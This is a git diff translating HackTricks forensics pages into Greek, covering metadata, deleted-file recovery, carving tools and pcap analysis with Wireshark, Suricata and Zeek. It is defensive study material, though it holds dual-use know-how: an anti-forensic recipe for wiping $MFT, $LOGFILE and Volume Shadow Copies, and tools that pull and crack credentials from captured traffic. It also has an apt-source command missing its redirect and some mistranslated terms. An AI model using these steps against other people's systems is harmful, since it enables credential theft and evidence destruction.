+**Ext2** είναι το πιο κοινό σύστημα αρχείων για **μη καταγραφόμενες** κατανομές (**κατανομές που δεν αλλάζουν πολύ**) όπως η κατανομή εκκίνησης. **Ext3/4** είναι **καταγραφόμενες** και χρησιμοποιούνται συνήθως για τις **υπόλοιπες κατανομές**. -## **Metadata** +## **Μεταδεδομένα** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +Ορισμένα αρχεία περιέχουν μεταδεδομένα. Αυτές οι πληροφορίες αφορούν το περιεχόμενο του αρχείου που μερικές φορές μπορεί να είναι ενδιαφέρον για έναν αναλυτή, καθώς ανάλογα με τον τύπο του αρχείου, μπορεί να έχει πληροφορίες όπως: -- Title -- MS Office Version used -- Author -- Dates of creation and last modification -- Model of the camera -- GPS coordinates -- Image information +- Τίτλος +- Έκδοση MS Office που χρησιμοποιήθηκε +- Συγγραφέας +- Ημερομηνίες δημιουργίας και τελευταίας τροποποίησης +- Μοντέλο της κάμερας +- Συντεταγμένες GPS +- Πληροφορίες εικόνας -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**exiftool**](https://exiftool.org) και το [**Metadiver**](https://www.easymetadata.com/metadiver-2/) για να αποκτήσετε τα μεταδεδομένα ενός αρχείου. -## **Deleted Files Recovery** +## **Ανάκτηση Διαγραμμένων Αρχείων** -### Logged Deleted Files +### Καταγεγραμμένα Διαγραμμένα Αρχεία -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +Όπως έχει παρατηρηθεί προηγουμένως, υπάρχουν πολλές θέσεις όπου το αρχείο είναι ακόμα αποθηκευμένο μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το σημειώνει ως διαγραμμένο αλλά τα δεδομένα δεν αγγίζονται. Έτσι, είναι δυνατόν να επιθεωρήσετε τα μητρώα των αρχείων (όπως το MFT) και να βρείτε τα διαγραμμένα αρχεία. -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές του συστήματος αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατόν να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή όσο το δυνατόν περισσότερες πληροφορίες. {{#ref}} file-data-carving-recovery-tools.md @@ -201,11 +199,11 @@ file-data-carving-recovery-tools.md ### **File Carving** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**File carving** είναι μια τεχνική που προσπαθεί να **βρει αρχεία στη μάζα δεδομένων**. Υπάρχουν 3 κύριοι τρόποι με τους οποίους λειτουργούν εργαλεία όπως αυτό: **Βασισμένα σε κεφαλίδες και ουρές τύπων αρχείων**, βασισμένα σε **δομές** τύπων αρχείων και βασισμένα στο **περιεχόμενο** αυτό καθαυτό. -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κατακερματισμένων αρχείων**. Αν ένα αρχείο **δεν αποθηκεύεται σε συνεχείς τομείς**, τότε αυτή η τεχνική δεν θα είναι σε θέση να το βρει ή τουλάχιστον μέρος του. -There are several tools that you can use for file Carving indicating the file types you want to search for +Υπάρχουν αρκετά εργαλεία που μπορείτε να χρησιμοποιήσετε για το file carving υποδεικνύοντας τους τύπους αρχείων που θέλετε να αναζητήσετε. {{#ref}} file-data-carving-recovery-tools.md @@ -213,19 +211,19 @@ file-data-carving-recovery-tools.md ### Data Stream **C**arving -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +Data Stream Carving είναι παρόμοιο με το File Carving αλλά **αντί να αναζητά πλήρη αρχεία, αναζητά ενδιαφέροντα θραύσματα** πληροφοριών.\ +Για παράδειγμα, αντί να αναζητά ένα πλήρες αρχείο που περιέχει καταγεγραμμένα URLs, αυτή η τεχνική θα αναζητήσει URLs. {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Secure Deletion +### Ασφαλής Διαγραφή -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. +Προφανώς, υπάρχουν τρόποι για να **"διαγράψετε με ασφάλεια" αρχεία και μέρη των καταγραφών τους**. Για παράδειγμα, είναι δυνατόν να **επικαλύψετε το περιεχόμενο** ενός αρχείου με άχρηστα δεδομένα πολλές φορές, και στη συνέχεια να **αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και **να αφαιρέσετε τα Volume Shadow Copies**.\ +Μπορείτε να παρατηρήσετε ότι ακόμη και εκτελώντας αυτή την ενέργεια μπορεί να υπάρχουν **άλλες περιοχές όπου η ύπαρξη του αρχείου είναι ακόμα καταγεγραμμένη**, και αυτό είναι αληθές και μέρος της δουλειάς του επαγγελματία εγκληματολογίας είναι να τις βρει. -## References +## Αναφορές - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index cd9e13a58..f691145aa 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -4,92 +4,84 @@ ## Carving & Recovery tools -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +Περισσότερα εργαλεία στο [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +Το πιο κοινό εργαλείο που χρησιμοποιείται στην ψηφιακή εγκληματολογία για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρείτε "κρυφά" αρχεία. Σημειώστε ότι το Autopsy έχει σχεδιαστεί για να υποστηρίζει εικόνες δίσκων και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία. ### Binwalk -**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Useful commands**: +**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για να βρείτε ενσωματωμένο περιεχόμενο. Είναι εγκαταστάσιμο μέσω του `apt` και η πηγή του είναι στο [GitHub](https://github.com/ReFirmLabs/binwalk). +**Χρήσιμες εντολές**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ### Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +Ένα άλλο κοινό εργαλείο για να βρείτε κρυφά αρχεία είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρύθμισης του foremost στο `/etc/foremost.conf`. Αν θέλετε να αναζητήσετε συγκεκριμένα αρχεία, αποσχολιάστε τα. Αν δεν αποσχολιάσετε τίποτα, το foremost θα αναζητήσει τους προεπιλεγμένους τύπους αρχείων που είναι ρυθμισμένοι. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ### **Scalpel** -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία που είναι ενσωματωμένα σε ένα αρχείο**. Σε αυτή την περίπτωση, θα χρειαστεί να αφαιρέσετε το σχόλιο από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) τους τύπους αρχείων που θέλετε να εξάγει. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +Αυτό το εργαλείο έρχεται μέσα στο kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτή, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, mails)** και περισσότερα **αρχεία**. Πρέπει απλώς να κάνετε: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [**Ανάλυση Pcaps**](../pcap-inspection/)), αναζητήστε **παράξενους τομείς** (τομείς σχετικούς με **κακόβουλο λογισμικό** ή **μη υπάρχοντες**). ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε να αναζητήσει το PhotoRec. ![](<../../../images/image (524).png>) ### binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +Ελέγξτε τον [κώδικα](https://code.google.com/archive/p/binvis/) και την [ιστοσελίδα εργαλείου](https://binvis.io/#/). -#### Features of BinVis +#### Χαρακτηριστικά του BinVis -- Visual and active **structure viewer** -- Multiple plots for different focus points -- Focusing on portions of a sample -- **Seeing stings and resources**, in PE or ELF executables e. g. -- Getting **patterns** for cryptanalysis on files -- **Spotting** packer or encoder algorithms -- **Identify** Steganography by patterns -- **Visual** binary-diffing +- Οπτικός και ενεργός **θεατής δομής** +- Πολλαπλά διαγράμματα για διαφορετικά σημεία εστίασης +- Εστίαση σε τμήματα ενός δείγματος +- **Βλέποντας συμβολοσειρές και πόρους**, σε εκτελέσιμα PE ή ELF π.χ. +- Λήψη **μοτίβων** για κρυπτοανάλυση σε αρχεία +- **Εντοπισμός** αλγορίθμων συμπίεσης ή κωδικοποίησης +- **Αναγνώριση** Στεγανότητας μέσω μοτίβων +- **Οπτική** διαφορά δυαδικών αρχείων -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο μαύρης κουτί. -## Specific Data Carving Tools +## Ειδικά Εργαλεία Κατασκευής Δεδομένων ### FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +Αναζητά κλειδιά AES αναζητώντας τα χρονοδιαγράμματα κλειδιών τους. Ικανό να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από το TrueCrypt και το BitLocker. -Download [here](https://sourceforge.net/projects/findaes/). +Κατεβάστε [εδώ](https://sourceforge.net/projects/findaes/). -## Complementary tools +## Συμπληρωματικά εργαλεία -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Μπορείτε να χρησιμοποιήσετε [**viu**](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.\ +Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index f076c885c..2207d8667 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -1,74 +1,65 @@ {{#include ../../../banners/hacktricks-training.md}} -# Carving tools +# Εργαλεία Carving ## Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files. +Το πιο κοινό εργαλείο που χρησιμοποιείται στην ψηφιακή εγκληματολογία για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρείτε "κρυφά" αρχεία. Σημειώστε ότι το Autopsy έχει σχεδιαστεί για να υποστηρίζει δισκοειδείς εικόνες και άλλου τύπου εικόνες, αλλά όχι απλά αρχεία. ## Binwalk -**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data. -It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github. -**Useful commands**: - +**Binwalk** είναι ένα εργαλείο για την αναζήτηση δυαδικών αρχείων όπως εικόνες και αρχεία ήχου για ενσωματωμένα αρχεία και δεδομένα. Μπορεί να εγκατασταθεί με `apt`, ωστόσο η [πηγή](https://github.com/ReFirmLabs/binwalk) μπορεί να βρεθεί στο github. +**Χρήσιμες εντολές**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ## Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for it's default configured file types. - +Ένα άλλο κοινό εργαλείο για να βρείτε κρυφά αρχεία είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρύθμισης του foremost στο `/etc/foremost.conf`. Αν θέλετε να αναζητήσετε συγκεκριμένα αρχεία, αποσχολιάστε τα. Αν δεν αποσχολιάσετε τίποτα, το foremost θα αναζητήσει τους προεπιλεγμένους τύπους αρχείων που είναι ρυθμισμένοι. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ## **Scalpel** -**Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file \(_/etc/scalpel/scalpel.conf_\) the file types you want it to extract. - +**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία ενσωματωμένα σε ένα αρχείο**. Σε αυτή την περίπτωση, θα χρειαστεί να αφαιρέσετε το σχόλιο από το αρχείο ρυθμίσεων \(_/etc/scalpel/scalpel.conf_\) τους τύπους αρχείων που θέλετε να εξάγει. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ## Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information\(URLs, domains, IPs, MACs, mails\)** and more **files**. You only have to do: +Αυτό το εργαλείο έρχεται μέσα στο kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτή, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, mails)** και περισσότερα **αρχεία**. Πρέπει απλώς να κάνετε: ```text bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered \(passwords?\), **analyse** the **packets** \(read[ **Pcaps analysis**](../pcap-inspection/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\). +Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο \(κωδικοί πρόσβασης;\), **αναλύστε** τα **πακέτα** \(διαβάστε [ **Ανάλυση Pcaps**](../pcap-inspection/)\), αναζητήστε **παράξενους τομείς** \(τομείς σχετικούς με **malware** ή **μη υπάρχοντες**\). ## PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) -It comes with GUI and CLI version. You can select the **file-types** you want PhotoRec to search for. +Έρχεται με έκδοση GUI και CLI. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε να αναζητήσει το PhotoRec. ![](../../../images/image%20%28524%29.png) -# Specific Data Carving Tools +# Ειδικά Εργαλεία Κατασκευής Δεδομένων ## FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +Αναζητά κλειδιά AES αναζητώντας τα χρονοδιαγράμματα κλειδιών τους. Ικανό να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από το TrueCrypt και το BitLocker. -Download [here](https://sourceforge.net/projects/findaes/). +Κατεβάστε [εδώ](https://sourceforge.net/projects/findaes/). -# Complementary tools +# Συμπληρωματικά εργαλεία -You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal. -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Μπορείτε να χρησιμοποιήσετε [**viu** ](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό. +Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md index 9e6ebd08d..f3e4f7115 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -2,31 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - > [!NOTE] -> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +> Μια σημείωση σχετικά με το **PCAP** και το **PCAPNG**: υπάρχουν δύο εκδόσεις της μορφής αρχείου PCAP; **Το PCAPNG είναι πιο νέο και δεν υποστηρίζεται από όλα τα εργαλεία**. Μπορεί να χρειαστεί να μετατρέψετε ένα αρχείο από PCAPNG σε PCAP χρησιμοποιώντας το Wireshark ή κάποιο άλλο συμβατό εργαλείο, προκειμένου να εργαστείτε με αυτό σε άλλα εργαλεία. ## Online tools for pcaps -- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) +- Αν η κεφαλίδα του pcap σας είναι **κατεστραμμένη**, θα πρέπει να προσπαθήσετε να την **διορθώσετε** χρησιμοποιώντας: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +- Εξαγάγετε **πληροφορίες** και αναζητήστε **malware** μέσα σε ένα pcap στο [**PacketTotal**](https://packettotal.com) +- Αναζητήστε **κακόβουλη δραστηριότητα** χρησιμοποιώντας [**www.virustotal.com**](https://www.virustotal.com) και [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) ## Extract Information -The following tools are useful to extract statistics, files, etc. +Τα παρακάτω εργαλεία είναι χρήσιμα για την εξαγωγή στατιστικών, αρχείων κ.λπ. ### Wireshark > [!NOTE] -> **If you are going to analyze a PCAP you basically must to know how to use Wireshark** +> **Αν πρόκειται να αναλύσετε ένα PCAP, πρέπει βασικά να ξέρετε πώς να χρησιμοποιείτε το Wireshark** -You can find some Wireshark tricks in: +Μπορείτε να βρείτε μερικά κόλπα του Wireshark στο: {{#ref}} wireshark-tricks.md @@ -34,64 +28,56 @@ wireshark-tricks.md ### Xplico Framework -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. - -**Install** +[**Xplico** ](https://github.com/xplico/xplico)_(μόνο linux)_ μπορεί να **αναλύσει** ένα **pcap** και να εξαγάγει πληροφορίες από αυτό. Για παράδειγμα, από ένα αρχείο pcap, το Xplico εξάγει κάθε email (πρωτόκολλα POP, IMAP και SMTP), όλα τα περιεχόμενα HTTP, κάθε κλήση VoIP (SIP), FTP, TFTP, κ.λπ. +**Εγκατάσταση** ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**Εκτέλεση** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +Η πρόσβαση στο _**127.0.0.1:9876**_ με διαπιστευτήρια _**xplico:xplico**_ -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +Στη συνέχεια, δημιουργήστε μια **νέα υπόθεση**, δημιουργήστε μια **νέα συνεδρία** μέσα στην υπόθεση και **ανεβάστε το pcap** αρχείο. ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +Όπως το Xplico, είναι ένα εργαλείο για **ανάλυση και εξαγωγή αντικειμένων από pcaps**. Έχει μια δωρεάν έκδοση που μπορείτε να **κατεβάσετε** [**εδώ**](https://www.netresec.com/?page=NetworkMiner). Λειτουργεί με **Windows**.\ +Αυτό το εργαλείο είναι επίσης χρήσιμο για να αποκτήσετε **άλλες πληροφορίες που αναλύονται** από τα πακέτα προκειμένου να γνωρίζετε τι συνέβαινε με **ταχύτερο** τρόπο. ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +Μπορείτε να κατεβάσετε [**NetWitness Investigator από εδώ**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Λειτουργεί σε Windows)**.\ +Αυτό είναι ένα άλλο χρήσιμο εργαλείο που **αναλύει τα πακέτα** και ταξινομεί τις πληροφορίες με χρήσιμο τρόπο για να **γνωρίζετε τι συμβαίνει μέσα**. ### [BruteShark](https://github.com/odedshimon/BruteShark) -- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Build a visual network diagram (Network nodes & users) -- Extract DNS queries -- Reconstruct all TCP & UDP Sessions +- Εξαγωγή και κωδικοποίηση ονομάτων χρηστών και κωδικών πρόσβασης (HTTP, FTP, Telnet, IMAP, SMTP...) +- Εξαγωγή κατακερματισμένων κωδικών αυθεντικοποίησης και σπάσιμο τους χρησιμοποιώντας το Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) +- Δημιουργία οπτικού διαγράμματος δικτύου (Κόμβοι δικτύου & χρήστες) +- Εξαγωγή ερωτημάτων DNS +- Ανακατασκευή όλων των TCP & UDP Συνεδριών - File Carving ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +Αν **ψάχνετε** για **κάτι** μέσα στο pcap μπορείτε να χρησιμοποιήσετε **ngrep**. Ακολουθεί ένα παράδειγμα χρησιμοποιώντας τα κύρια φίλτρα: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` - ### Carving -Using common carving techniques can be useful to extract files and information from the pcap: +Η χρήση κοινών τεχνικών carving μπορεί να είναι χρήσιμη για την εξαγωγή αρχείων και πληροφοριών από το pcap: {{#ref}} ../partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -99,46 +85,36 @@ Using common carving techniques can be useful to extract files and information f ### Capturing credentials -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) για να αναλύσετε διαπιστευτήρια από ένα pcap ή μια ζωντανή διεπαφή. ## Check Exploits/Malware ### Suricata -**Install and setup** - +**Εγκατάσταση και ρύθμιση** ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` - -**Check pcap** - +**Έλεγχος pcap** ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) είναι ένα εργαλείο που -- Reads a PCAP File and Extracts Http Streams. -- gzip deflates any compressed streams -- Scans every file with yara -- Writes a report.txt -- Optionally saves matching files to a Dir +- Διαβάζει ένα αρχείο PCAP και εξάγει ροές Http. +- Το gzip αποσυμπιέζει οποιεσδήποτε συμπιεσμένες ροές +- Σαρώσει κάθε αρχείο με yara +- Γράφει ένα report.txt +- Προαιρετικά αποθηκεύει τα αρχεία που ταιριάζουν σε έναν φάκελο ### Malware Analysis -Check if you can find any fingerprint of a known malware: +Ελέγξτε αν μπορείτε να βρείτε οποιοδήποτε αποτύπωμα γνωστού κακόβουλου λογισμικού: {{#ref}} ../malware-analysis.md @@ -146,12 +122,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> [Zeek](https://docs.zeek.org/en/master/about.html) είναι ένας παθητικός, ανοιχτού κώδικα αναλυτής δικτυακής κίνησης. Πολλοί χειριστές χρησιμοποιούν το Zeek ως Δίκτυο Ασφαλείας Monitor (NSM) για να υποστηρίξουν τις έρευνες για ύποπτη ή κακόβουλη δραστηριότητα. Το Zeek υποστηρίζει επίσης μια ευρεία γκάμα εργασιών ανάλυσης κίνησης πέρα από τον τομέα της ασφάλειας, συμπεριλαμβανομένης της μέτρησης απόδοσης και της αποσφαλμάτωσης. -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. +Βασικά, τα αρχεία καταγραφής που δημιουργούνται από το `zeek` δεν είναι **pcaps**. Επομένως, θα χρειαστεί να χρησιμοποιήσετε **άλλα εργαλεία** για να αναλύσετε τα αρχεία καταγραφής όπου οι **πληροφορίες** σχετικά με τα pcaps είναι. ### Connections Info - ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -201,9 +176,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 